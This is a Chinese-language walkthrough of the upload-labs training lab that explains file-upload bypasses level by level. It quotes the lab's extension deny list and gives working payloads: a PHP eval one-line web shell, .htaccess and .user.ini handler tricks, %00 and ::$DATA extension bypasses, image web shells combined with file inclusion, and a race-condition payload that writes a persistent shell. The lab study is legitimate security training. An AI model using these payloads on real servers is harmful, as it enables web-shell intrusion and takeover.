文件上传

img

upload-labs:

文件上传出题绕过代码:

$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

过滤点:

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");

%00:

$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;

做题思路:

菜刀,蚁剑只能练上php,asp的文件!

菜呀:

输入菜刀的时候要输入你上传文件后的地址!!!!!!

http://192.168.31.161/uploadlabs/upload/upload/flag.php
<?php @eval($_POST['tao']);?>

phpinfo();

flag.php 是一句话木马

出题点:

1 修改文件后缀!

bp抓包修改后缀!.jpg->.php

2验证content-type

bp抓包!

Content-Disposition: form-data; name="upload_file"; filename="taochiyu.php"
Content-Type: application/octet-stream

替换Content-Type:image/jpeg

3黑名单判断,

bp抓包

大小写被过滤了!

于是尝试用php3,phtml绕过

img

4 .htaccess上传

先上传.htaccess文件 apache读取它内容然后加载到服务器的配置文件里执行

文件内容:

把.jpg的文件当作php去解析:

<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这样所有文件都会解析为php,

SetHandler application/x-httpd-php

然后再上传图片马

会解析成php文件!

5过滤了.htaccess 用.ini

.ini 上传的代码加载到php的配置文件里执行 .user.ini

1 php语言

2服务器使用CGI

3上传目录下要有可执行的PHP文件

auto_prepend_file=上传的木马文件

先上传**.user.ini **再上传木马文件

然后在服务器的上传文件目录下,访问目录下的php文件

6 大小写绕过

phP

7空格绕过

bp抓包,然后在文件后面加上空格

8点绕过

bp抓包,然后在文件后面加上**.**

9没有去除字符串::$DATA

必须是windows, 必须是php
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名
他的目的就是不检查后缀名….

上传xx.php::$DATA发现无法找到此文件

windows会去掉::$DATA 直接访问xx.php即可

10大小写,空格,点都过滤

看是不是都过滤了,还是只过滤一两个

过滤一两个可以多构建几个进行绕过!

.php.空格.空格s

11 双写过滤str_ireplace函数

因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过

12 %00绕过

php<5.3.4

用%00截断,跟c语言一样,php会将%00视为字符串结尾

1、php版本小于5.3.4

2、php.ini的magic_quotes_gpc为OFF状态

上传1.jpg,然后bp抓包在save_path处改成/upload/1.php%00

在GET 和 POST的情况下不一样

GET直接%00

POST需要在%00的地方加上url编码 ,也就是必须在hex里加上00

14上传图片🐎(只检查文件头)这个要配合文件文件包含漏洞用

关键代码

fread($file, 2); //只读2字节

了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作方式

copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif

而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马

0.png

它有个文件包含漏洞

容易导致文件包含的函数:

include()  
require()
inlcude_once()
require_once()

配个nclude.php文件上传漏洞达到shell

http://127.0.0.1/uploadlabs/include.php?file=upload/9020201010105856.jpg

0.png

0.png

补充 还有两个方法:

1.上传1.php然后bp抓包在内容前面加GIF89a(文件头),然后利用文件包含漏洞构造payload

把别的内容去掉直接加上

image-20201010191232998

15 上传图标🐎 突破getimagesize()

getimagesize()获取文件信息,该函数也只是进行文件头的检查

$info = getimagesize($filename);
16上传图标🐎 exif_imagetype()

获取文件信息,该函数也只是进行文件头的检查,

17二次渲染

简单点就是你知道gif的渲染的位置,那你就可以把php代码放到没有渲染的地方进行上传!

文章:

18服务端–代码逻辑–条件竞争

关键语句:

$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
$_FILES[字段名][name]——保存的文件在上传者机器上的文件名,

$_FILES[字段名][tmp_name]——保存的是:文件上传到服务器的临时文件夹里的文件名

思路:因为文件上传后先放在一个临时位置再判断是否合法,所以可以在文件存在临时位置,未被删除的瞬间访问。这样的手速反正我是没有,据说是用bp几十上百线程发送数据包过去然后趁服务器不注意就访问。

思路:

当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。
然后执行if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹

绕过思路是利用代码执行过程有耗费时间的过程。临时webshell文件保存的极短时间,去访问webshell。获取一些信息

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell。

image-20201010221530169

image-20201010221545388

大佬将的一个方法:

如上图所示:

多线程不断发taochiyu.php

file_put_contents('1.php','<?php eval($_POST[1]);?>');

里面有这句代码:

然后再让另外一个随便的数据包 多线程访问taochiyu.php

两者同时进行!:

因为那句代码的缘故,只要一次访问到,你的目录下就会出现1.php,getshell成功!

线程调成50快点!

19漏洞点为服务端–代码逻辑–条件竞争

先检查了后缀!

本关对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功:

20%00绕过或者/.绕过
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION获取后缀网名);
PATHINFO_EXTENSION获取后缀名

这个函数在$file_name后面加%00 就可以绕过这个函数

21 /.和数组绕过
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
如果save_name不为空则file为save_name,否则file为filename
move_uploaded_file`会忽略掉`/. 不能是/。。只能是/。

先上传php文件改掉它的MIEM改成—->image/jpeg

img